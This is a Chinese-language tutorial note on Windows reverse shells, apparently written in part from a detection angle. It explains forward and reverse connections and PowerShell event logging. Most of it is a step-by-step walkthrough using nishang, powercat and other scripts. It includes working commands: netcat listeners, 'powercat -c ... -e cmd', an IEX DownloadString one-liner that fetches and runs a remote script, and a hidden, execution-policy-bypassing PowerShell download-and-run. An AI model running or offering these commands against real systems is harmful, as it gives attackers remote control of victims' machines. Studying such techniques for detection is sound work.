[笔记]Windows安全之《一》反弹Shell

简介: Windows安全之《一》反弹Shell

powershell反弹shell常见方式

反弹Shell原理及检测技术研究


文章目录



   一. 正向连接和反向连接(反弹连接)

       1.1. 正向连接

       1.2. 反向连接(反弹连接)

   二、关于Windows上powershell的配置

       2.1. 开启 PowerShell 日志记录

       2.2. 开启日志订阅机制

       2.3. 启动powershell执行ps脚本

       三、反弹Shell原理

   四. 反弹Shell 实例运行

       4.1. 实例1 Invoke-PowerShellTcp.ps1 运行反弹TCP Shell

           4.1.1. 前期准备

           4.1.2. 基本思路及实现效果

       4.2. 实例2 powercat.ps1运行反弹TCP shell

           4.2.1. 前期准备

           4.2.2. 基本思路和实现效果

       4.3. 实例3 Invoke-PowerShellUdp.ps1运行反弹Udp shell

       4.4. 实例4 使用nishang框架运行反弹Http shell

           4.4.1. 前期准备

           4.4.2. 过程

       4.5. 实例5 反弹ICMPShell

   五.关于windows反弹Shell疑问

       5.1. 多次反弹无法捕获?

       5.2. 目前只支持tcp?

       5.3. 为什么是powershell?


一. 正向连接和反向连接(反弹连接)



1.1. 正向连接


图片.png


正向连接:我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。


主动连接

控制端,即客户端

被控制端,即服务端

在以下情况,正向连接会不能用:


   某客户机中了你的网马,但是它在局域网内,你直接连接不了。

   目标机器的ip动态改变,你不能持续控制。

   由于防火墙等限制,对方机器只能发送请求,不能接收请求。

   对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的。


所以建立一个服务端让恶意程序主动连接,才是上策。


1.2. 反向连接(反弹连接)


图片.png


反弹连接:攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。


主动连接

被控制端,即客户端

控制端,服务端


二、关于Windows上powershell的配置



2.1. 开启 PowerShell 日志记录


cmd运行gpedit.msc打开本地组策略


2.2. 开启日志订阅机制


cmd运行eventvwr.exe打开系统事件日志

应用程序和服务日志->Microsoft->Windows->PowerShell/Operational 产生的 4103 事件日志

4103事件日志 主要记录powershell的操作日志,agent检测也是通过过滤日志信息来判断反弹shell


2.3. 启动powershell执行ps脚本


powershell 设置执行策略:

set-executionpolicy remotesigned

powershell 查看当前执行策略是否为RemoteSigned,是则设置策略成功

get-executionpolicy

右击powershell脚本文件,选中解除锁定,并应用


即可执行Invoke-PowerShellTcp.ps1脚本不报错了


三、反弹Shell原理



最本质的原理:就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,建立连接 然后攻击端跟受害者主机通信,受害者主机转发shell输入输出流到攻击端,从而攻击端能够控制受害者主机。


主要区别:在于通信的原理(TCP/UDP/ICMP/HTTP/SSH/TELNET),也可以形容反弹Shell的类型 例如反弹TCP的Shell;


建立通信的方式(执行ps脚本/注入DLL/打开office文件)的方式,分为以下几类:


   受害主机执行基于PowerShell的一类(TCP、UDP、ICMP、Http、SSH隧道、注入DLL)

   受害主机打开office的一类(Empire 结合office反弹shell、利用office OLE对象插入bat文件反弹shell)


从检测的角度,可以将反弹Shell分为以下三种类型:


   第一类反弹Shell:直接重定向Shell的输入输出到Socket

   第二类反弹Shell:通过管道、伪终端等中转,再重定向Shell的输入输出到中转

   第三类反弹Shell:编程语言实现标准输入中转,重定向命令执行的输入到中转


四. 反弹Shell 实例运行



4.1. 实例1 Invoke-PowerShellTcp.ps1 运行反弹TCP Shell


以win10为被控端/受攻击端,kali为控制端/攻击端为例:


4.1.1. 前期准备


完成3.3的powershell的配置

netcat下载安装(被控端和控制端都需要安装)

下载地址:https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip

下载nishang框架:https://github.com/samratashok/nishang


4.1.2. 基本思路及实现效果


创建一个控制端(用VM安装一个Kali或者其他版本Linux安装netcat,Kali自带netcat)运行命令 监听端口9000 等待被控制端主动连接

nc -lvp 9000

被控制端运行Invoke-PowerShellTcp.ps1脚本 默认连接控制端的9000端口


Invoke-PowerShellTcp.ps1 -Reverse -IPAddress 控制端的IP -port 9000


控制端进入交互界面


说明连接成功 控制端可以进行各种控制操作了。


4.2. 实例2 powercat.ps1运行反弹TCP shell


以win10为被控端/受攻击端,kali为控制端/攻击端为例


4.2.1. 前期准备


下载powercat:https://github.com/besimorhino/powercat


这里环境编写Powershell环境 建议vscode+powershell插件


注意:下载脚本运行是没效果的,需要以下操作步骤才能正常使用powercat:


   导入模块 Import-Module .\powercat.ps1

   设置本地脚本执行策略 不验证签名


Set-ExecutionPolicy RemoteSigned


然后就可以正常使用powercat了。


(其他基于powershell的框架基本都是如此)


注意:似乎每次都需要Import-Module脚本才能正常运行脚本


4.2.2. 基本思路和实现效果


同理,如上思路基本相似。


1.攻击端监听一个端口,等待被攻击端主动连接。nc -nlvp 9000


2.被攻击端powershell执行。

powercat -c 192.168.111.132 -p 9000 -e cmd

以下是不下载Powercat的命令

powershell.exe IEX (New-Object System.Net.Webclient).DownloadString("https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1");powercat -c 192.168.111.132 -p 9000 -e cmd

两个命令主要区别在于脚本是否在本地:


   第一个Powercat脚本在本地并且已经安装成了模块


   第二个需要先使用Powershell下载脚本,在执行.


3.效果同上


4.3. 实例3 Invoke-PowerShellUdp.ps1运行反弹Udp shell


攻击端:


监听UDP9000端口

nc -lup 9000

受害端:


进入当前脚本文件夹

Import-Module .\Invoke-PowerShellUdp.ps1
Invoke-PowerShellUdp -Reverse -IPAddress 攻击端IP地址 -port 9000

4.4. 实例4 使用nishang框架运行反弹Http shell


nishang框架的官方教程:https://github.com/samratashok/nishang


参考https://zhuanlan.zhihu.com/p/27723026


4.4.1. 前期准备


攻击端和受害端均为Windows,且此处受害端为http服务端,攻击端为http客户端;


4.4.2. 过程


受害端:


导入Invoke-PoshRatHttp.ps1

Import-Module .\Invoke-PoshRatHttp.ps1# 监听端口,启动http服务
Invoke-PoshRatHttp -IPAddress 192.168.111.132 -Port 9000

输出结果.


最后一行便是给攻击端使用的


攻击端:

powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.111.132:9000/connect'))
>>whoami


便能控制受害端.不过http是短链接 请求返回结果之后就结束了,每次命令都需要重新请求.


4.5. 实例5 反弹ICMPShell


参考


https://blog.csdn.net/qq_39101049/article/details/96191861


https://blog.csdn.net/qq_45625605/article/details/103056458


五.关于windows反弹Shell疑问



5.1. 多次反弹无法捕获?


agent 如果是同一进程反弹 是不会重复上报的


5.2. 目前只支持tcp?


非也非也,只需要支持powershell即可,其他dns,http的脚本都是依托powershell运行,所以只需要解决powershell异常连接监听即可。


5.3. 为什么是powershell?


问题:powershell win7之后才出现,为什么cmd不能呢?


解答:


1.cmd本身是调用已存在的exe,例如ping ipconfig。对于网络请求cmd没有支持的。而powershell是基于.net4.5的 面向对象 有许多模块可以马上直接使用,比如网络相关


2.反弹shell原理是基于被控制端主动连接 控制端,所以被控制端的环境依赖越少越好。Powershell window都有,而且其他需要py,office的对环境和其他条件的限制太大。

相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
相关文章
|
2月前
|
安全 数据安全/隐私保护 Windows
解锁安全之门,Windows Server 2019密码修改攻略大揭秘
解锁安全之门,Windows Server 2019密码修改攻略大揭秘
157 0
|
4月前
|
缓存 网络协议 数据安全/隐私保护
[运维笔记] - (命令).Windows server常用网络相关命令总结
[运维笔记] - (命令).Windows server常用网络相关命令总结
202 0
|
1天前
|
算法 Linux Windows
FFmpeg开发笔记(十七)Windows环境给FFmpeg集成字幕库libass
在Windows环境下为FFmpeg集成字幕渲染库libass涉及多个步骤,包括安装freetype、libxml2、gperf、fontconfig、fribidi、harfbuzz和libass。每个库的安装都需要下载源码、配置、编译和安装,并更新PKG_CONFIG_PATH环境变量。最后,重新配置并编译FFmpeg以启用libass及相关依赖。完成上述步骤后,通过`ffmpeg -version`确认libass已成功集成。
FFmpeg开发笔记(十七)Windows环境给FFmpeg集成字幕库libass
|
6天前
|
存储 运维 Java
Linux笔记02 —— Shell补充
Linux笔记02 —— Shell补充
31 2
|
6天前
|
安全 Linux Shell
Linux笔记01 —— Linux初识与Shell汇总(请配合另一篇《Linux笔记02》一起使用)
Linux笔记01 —— Linux初识与Shell汇总(请配合另一篇《Linux笔记02》一起使用)
19 1
|
14天前
|
编解码 Linux Windows
FFmpeg开发笔记(十三)Windows环境给FFmpeg集成libopus和libvpx
本文档介绍了在Windows环境下如何为FFmpeg集成libopus和libvpx库。首先,详细阐述了安装libopus的步骤,包括下载源码、配置、编译和安装,并更新环境变量。接着,同样详细说明了libvpx的安装过程,注意需启用--enable-pic选项以避免编译错误。最后,介绍了重新配置并编译FFmpeg以启用这两个库,通过`ffmpeg -version`检查是否成功集成。整个过程参照了《FFmpeg开发实战:从零基础到短视频上线》一书的相关章节。
FFmpeg开发笔记(十三)Windows环境给FFmpeg集成libopus和libvpx
|
15天前
|
Rust 前端开发 Windows
blog-engine-06-pelican 静态网站生成 windows11 安装实战笔记
这篇内容是一个关于在Windows 11上安装和使用静态网站生成器的教程,主要包括对多个博客引擎(如Jekyll、Hugo、Hexo等)的简介和对比,以及详细步骤教你如何在Windows环境下安装Python、Pelican、Rust和Cargo。作者首先介绍了Python和Pelican的安装,然后在遇到依赖问题时,引导读者安装Rust和Cargo来解决。最后,通过`pelican-quickstart`创建项目,编写Markdown文章并生成、预览站点。
|
15天前
|
编解码 Linux Windows
FFmpeg开发笔记(十一)Windows环境给FFmpeg集成vorbis和amr
在Windows环境下,为FFmpeg集成音频编解码库,包括libogg、libvorbis和opencore-amr,涉及下载源码、配置、编译和安装步骤。首先,安装libogg,通过配置、make和make install命令完成,并更新PKG_CONFIG_PATH。接着,安装libvorbis,同样配置、编译和安装,并修改pkgconfig文件。之后,安装opencore-amr。最后,重新配置并编译FFmpeg,启用ogg和amr支持,通过ffmpeg -version检查是否成功。整个过程需确保环境变量设置正确,并根据路径添加相应库。
FFmpeg开发笔记(十一)Windows环境给FFmpeg集成vorbis和amr
|
23天前
|
机器学习/深度学习 安全 数据安全/隐私保护
Windows系统安装Jupyter Notebook并实现公网访问内网笔记服务
Windows系统安装Jupyter Notebook并实现公网访问内网笔记服务
|
1月前
|
Linux 编译器 C语言
FFmpeg开发笔记(二)搭建Windows系统的开发环境
在Windows上学习FFmpeg通常较困难,但通过安装预编译的FFmpeg开发包可以简化流程。首先需要安装MSYS2来模拟Linux环境。下载并执行MSYS2安装包,然后修改msys2_shell.cmd以继承Windows的Path变量。使用pacman安装必要的编译工具。接着,下载预编译的FFmpeg Windows包,解压并配置系统Path。最后,在MSYS2环境中运行`ffmpeg -version`确认安装成功。欲深入学习FFmpeg开发,推荐阅读《FFmpeg开发实战:从零基础到短视频上线》。
FFmpeg开发笔记(二)搭建Windows系统的开发环境